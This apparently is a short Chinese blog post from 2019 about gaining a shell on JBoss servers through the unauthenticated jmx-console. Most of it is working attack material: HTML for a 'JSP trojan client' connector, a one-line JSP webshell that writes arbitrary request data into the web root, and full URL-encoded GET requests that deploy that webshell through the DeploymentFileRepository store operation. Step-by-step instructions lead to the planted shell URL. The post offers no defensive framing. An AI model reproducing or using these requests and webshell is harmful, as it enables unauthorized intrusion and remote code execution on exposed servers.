jboss通过url编码get方式传入webshell

JSP一句话木马客户端

专用JSP木马连接器
服务端地址


保存成的文件名：

服务端代码：
 
 
源码
 
  <html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名：<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> <br>服务端代码：<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> </textarea> </div></body>

 

 

get方式请求：

jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=AAA.war&argType=java.lang.String&arg1=wh&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25%69%66%28%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%66%22%29%21%3D%6E%75%6C%6C%29%28%6E%65%77%20%6A%61%76%61%2E%69%6F%2E%46%69%6C%65%4F%75%74%70%75%74%53%74%72%65%61%6D%28%61%70%70%6C%69%63%61%74%69%6F%6E%2E%67%65%74%52%65%61%6C%50%61%74%68%28%22%2F%22%29%2B%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%66%22%29%29%29%2E%77%72%69%74%65%28%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%74%22%29%2E%67%65%74%42%79%74%65%73%28%29%29%3B%25%3E%20&argType=boolean&arg4=True

http://localhost/AAA/wh.jsp

 

 

 

 

 

 

jboss未授权Getshell

 

一、jboss未授权访问Getshell

1.jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.system:type=ServerInfo

2./jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=AAA.war&argType=java.lang.String&arg1=wh&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%69%66%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%21%3d%6e%75%6c%6c%29%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%4f%75%74%70%75%74%53%74%72%65%61%6d%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%22%2f%22%29%2b%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%29%29%2e%77%72%69%74%65%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%74%22%29%2e%67%65%74%42%79%74%65%73%28%29%29%3b%25%3e%3c%61%20%68%72%65%66%3d%22%4f%6e%65%5f%4f%4b%22%3e%3c%2f%61%3e&argType=boolean&arg4=True

 

3.SHELL:http://localhost/AAA/wh.jsp

 

 
 

posted on 2019-06-18 10:57  lgf01010  阅读(58)  评论(0)    收藏  举报